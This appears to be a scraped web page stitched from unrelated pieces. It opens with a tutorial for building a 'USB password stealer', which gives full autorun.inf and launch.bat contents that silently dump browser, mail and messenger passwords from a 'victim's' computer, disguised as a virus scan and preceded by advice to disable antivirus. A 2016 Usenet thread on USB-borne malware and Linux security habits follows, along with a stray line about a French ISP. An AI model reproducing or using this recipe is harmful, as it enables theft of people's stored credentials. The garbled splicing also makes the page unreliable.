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MessenPass is a password recovery tool that reveals the passwords of the following instant messenger applications: - Mail PassView is a small password-recovery tool that reveals the passwords and other account details for Outlook express,windows mail,POP3 etc - IE passview is a small program that helps us view stored passwords in Internet explorer. Protected Storage PassView is a small utility that reveals the passwords stored on your computer by Internet Explorer, Outlook Express and MSN Explorer. Password fox is a small program used to view Stored passwords in Mozilla Firefox. Now here is a step by step tutorial to create a USB password stealer to steal saved passwords: Note:Kindly disable your antivirus before performing these steps 1.First of all download all 5 tools and copy the executables (.exe( files in your USB i.e. Copy the files mspass.exe, mailpv.exe, iepv.exe, pspv.exeand passwordfox.exe into your USB Drive. Create a new Notepad and write the following text into it autorun open=launch.bat ACTION= Perform a Virus Scansave the Notepad and rename it from New Text Document.txt to autorun.inf Now copy the autorun.inf file onto your USB pendrive. Create another Notepad and write the following text onto it. Start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt start iepv.exe /stext iepv.txt start pspv.exe /stext pspv.txt start passwordfox.exe /stext passwordfox.txt save the Notepad and rename it from New Text Document.txt to launch.bat Copy the launch.bat file also to your USB drive.

Now your USB Password stealer is ready all you have to do is insert it in your victims computer and a popup will appear, in the popup window select the option (Launch virus scan) as soon as you will click it the following window will appear.

On Mon, 28 Mar 2016 21:04:17 -0400 bad sector wrote: Years ago I read about modular-malware that would propagate undetected and inactive in pieces as best it could and only when it found all of its parts would it self-assemble and go to work. Looks like this could be something of such ilk or close. Any comments?

Is Linux at risk? I can't see what's so special about this malware. I use fairly sterile procedures but am at least academically interested.

Malware relies on Windows svchost and other things as I see it. William Unruh 28.03.16 18:44. On 2016-03-29, bad sector wrote: Years ago I read about modular-malware that would propagate undetected and inactive in pieces as best it could and only when it found all of its parts would it self-assemble and go to work. Looks like this could be something of such ilk or close. Any comments? Is Linux at risk?

The whole package as I understand it, is on the usb stick. The whole godilla is to make sure that people cannot analyse it, or get an signatures so that it can be detected or wiped.

It also seems like they have to get ahold of that usb stick to read the stolen (and encrypted) information from it. The files are named using a encryption hash of the id of the usb stick itself and the creation date of the file, so that there is no clue as to what the filenames are beforehand. And if the creation date or the usb stick is changed, everything is non-decryptable. I use fairly sterile procedures but am at least academically interested.

Do you ever plug in usb sticks with executables on the usb stick (live distros, browser.)? If so your interest would be more than academic. As for Linux, the report seems to be for Windows, but there seems to me to be no barrier whatsover to its also being a Linux vector. bad sector 28.03.16 18:59. Never done that, not likely to either. Up to now I had no use for such media except to store non executable data. A live distro has interested me in the form of a live DVD that would begin with a canned distro and become my tweaked unwritable system, much like my desktop with some ram used for tempo storage that must be saved out before shutdown or be lost.

But I have never gotten around to it yet. I'd be looking for a script that asks me 'alright, which partition?' And then make me a live DVD just like it:-) Carlos E.

But our neighbours say the internet speeds have been improved recently: and they have the Orange TV too. As far as I understand our current contract, we could have the TV decoder too for the same price – just a deposit to pay. Livebox tp konfiguracja wifi.

28.03.16 19:45. On 2016-03-29 03:04, bad sector wrote: Years ago I read about modular-malware that would propagate undetected and inactive in pieces as best it could and only when it found all of its parts would it self-assemble and go to work.

Looks like this could be something of such ilk or close. Any comments?

Is Linux at risk? Look at the first comment in the article. This thing is not designed for propagation, but as a targeted attack to someone, to steal data. If someone is really interested in your data to use such a thing, it will not matter what system you run. They will design something appropriate for /you/. Cheers, Carlos E.R.

Bit Twister 28.03.16 21:51. On Mon, 28 Mar 2016 21:59:15 -0400, bad sector wrote: On 09:41 PM, William Unruh wrote: On 2016-03-29, bad sector wrote: I use fairly sterile procedures but am at least academically interested. Do you ever plug in usb sticks with executables on the usb stick (live distros, browser.)? If so your interest would be more than academic.

As for Linux, the report seems to be for Windows, but there seems to me to be no barrier whatsover to its also being a Linux vector. Now we're gettin' close to what I wanted to hear. My procedural precautions are not bad. Although I have little need for rigorous enforcement knowing this might just give me a nudge to clean up my act a touch.

I never boot from unknown media or even allow auto execution or even auto mounting of anything USB.as a starting point, then it gets paranoid:-) Heheheheh, 'unknown media', You need to up your paranoid quotient. I have seen several article over the years of infected devices bought at stores who repackaged returned devices. A few articles about manufacturing plants inadvertently shipping malware in their product. Just last week, I received my 4 usb thumb drives I had ordered.

First thing I did was wipe the partition table, create partition and formatted it for each device. In my stupid opinion, if you are running internet applications, firefox for example, in your user account, you are not paranoid enough. I do hope you are running some kind of Intrusion Detection Software. Some examples unhide, aide, osiris, ossec-hids, samhain, tripwire, snare, integrit, rkhunter, chkrootkit. Running unhide and aide myself, and thinking of discontinuing using rkhunter.

Saw an article several years ago where you could surf through an infected web site. The malware would create a connection from your session back to the criminals. At that point they could do whatever they like in/to your account and your privileges would allow.

Good news, the connection would close upon logout. Bad news, you have no idea what they did to files you have write privileges or what was done to what.

As for me, any internet activity needing an ID/PW gets a separate user account on my system. There is a separate account for just surfing. So far there is $ grep -E 'thunderbird firefox' /etc/passwd wc -l 20 for just thunderbird and firefox.

Firefox users, spawn of an 'at' job upon log out to delete files in their account and tar in a pristine setup. Bad sector 29.03.16 13:13. On 12:48 AM, Bit Twister wrote: On Mon, 28 Mar 2016 21:59:15 -0400, bad sector wrote: I never boot from unknown media or even allow auto execution or even auto mounting of anything USB.as a starting point, then it gets paranoid:-) Heheheheh, 'unknown media', You need to up your paranoid quotient. I believe you, problem is almost everything you pull out flies over my head. As I said b4, I'm no guru and will never be one cause I'd rather listen to old music then cram 'man man':-))) I have seen several article over the years of infected devices bought at stores who repackaged returned devices. A few articles about manufacturing plants inadvertently shipping malware in their product. Just last week, I received my 4 usb thumb drives I had ordered.

First thing I did was wipe the partition table, create partition and formatted it for each device. THAT one I always do religiously, all-wipe military grade with dd (retired, I got tons of time for anything the box can do without my physical presence!), then partition as i feel like at the moment In my stupid opinion, if you are running internet applicationsfirefox for example, in your user account, you are not paranoid enough. I've been suspecting T-bird for ages, use sylpheed instead for email. I just prefer real.eml files that can be manipulated in a file-mangler I do hope you are running some kind of Intrusion Detection Software. Some examples unhide, aide, osiris, ossec-hids, samhain, tripwiresnare, integrit, rkhunter, chkrootkit. Running unhide and aide myself, and thinking of discontinuing using rkhunter unclear, wanna use just rkhunter?

Saw an article several years ago where you could surf through an infected web site. The malware would create a connection from your session back to the criminals. At that point they could do whatever they like in/to your account and your privileges would allow. I've heard that about microsuck:-) Good news, the connection would close upon logout. Bad news, you have no idea what they did to files you have write privileges or what was done to what. As for me, any internet activity needing an ID/PW gets a separate user account on my system.

You've thrown that one before, I might just do it too instead of the protocol below There is a separate account for just surfing. So far there is $ grep -E 'thunderbird firefox' /etc/passwd wc -l 20 for just thunderbird and firefox.

Firefox users, spawn of an 'at' job upon log out to delete files in their account and tar in a pristine setup. I do this regularly, flypaper's unfurnished home dugout gets tarred-in each session for the benefit of the clingons out there (about 99% of the net). Not one user per account but one user for the host of them.

Bit Twister 29.03.16 14:18. On Tue, 29 Mar 2016 16:12:52 -0400, bad sector wrote: On 12:48 AM, Bit Twister wrote: On Mon, 28 Mar 2016 21:59:15 -0400, bad sector wrote: I do hope you are running some kind of Intrusion Detection Software. Some examples unhide, aide, osiris, ossec-hids, samhain, tripwiresnare, integrit, rkhunter, chkrootkit. Running unhide and aide myself, and thinking of discontinuing using rkhunter unclear, wanna use just rkhunter?

It is a database driven application. Here check out the dates of the latest database files # grep 'Info: Latest version:' /var/log/rkhunter-cronjob.log 04:09:44 Info: Latest version: mirrors.dat No update 04:09:45 Info: Latest version: programsbad.dat No update 04:09:45 Info: Latest version: backdoorports.dat No update 04:09:45 Info: Latest version: suspscan.dat No update which suggests to me I might get a false sense of security in that area. Much better to do a clean install updates, and have aide init its database and check the disk nightly.

As for me, any internet activity needing an ID/PW gets a separate user account on my system. You've thrown that one before, I might just do it too instead of the protocol below Firefox users, spawn off an 'at' job upon log out to delete files in their account and tar in a pristine setup. I do this regularly, flypaper's unfurnished home dugout gets tarred-in each session for the benefit of the clingons out there (about 99% of the net). Not one user per account but one user for the host of them.

Yes that is easy maintenance, but I do not want one of the 'host of them' to compromise any of the others. There have been all sorts of articles about poisoned dns cache and whatnot for browsers and the recommendation that you need to close the browser before using it to enter any site needing an id/pw. Having a separate user account allows me to have its own index.html file with the desired target link.

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That way I just click the link which eliminates the possibility a typo or any bookmark 'problem' created when using other id/pw sites. I know for a fact, my bank drops in a cookie that is used as part of the security wrapper. If it is not there/valid I get a screen indicating a one time access code has been sent to my email account and please enter it as soon as it is received in order to proceed to my account. That email account is only for my bank notices/alerts and there is no indication of that account in my /bank's user account.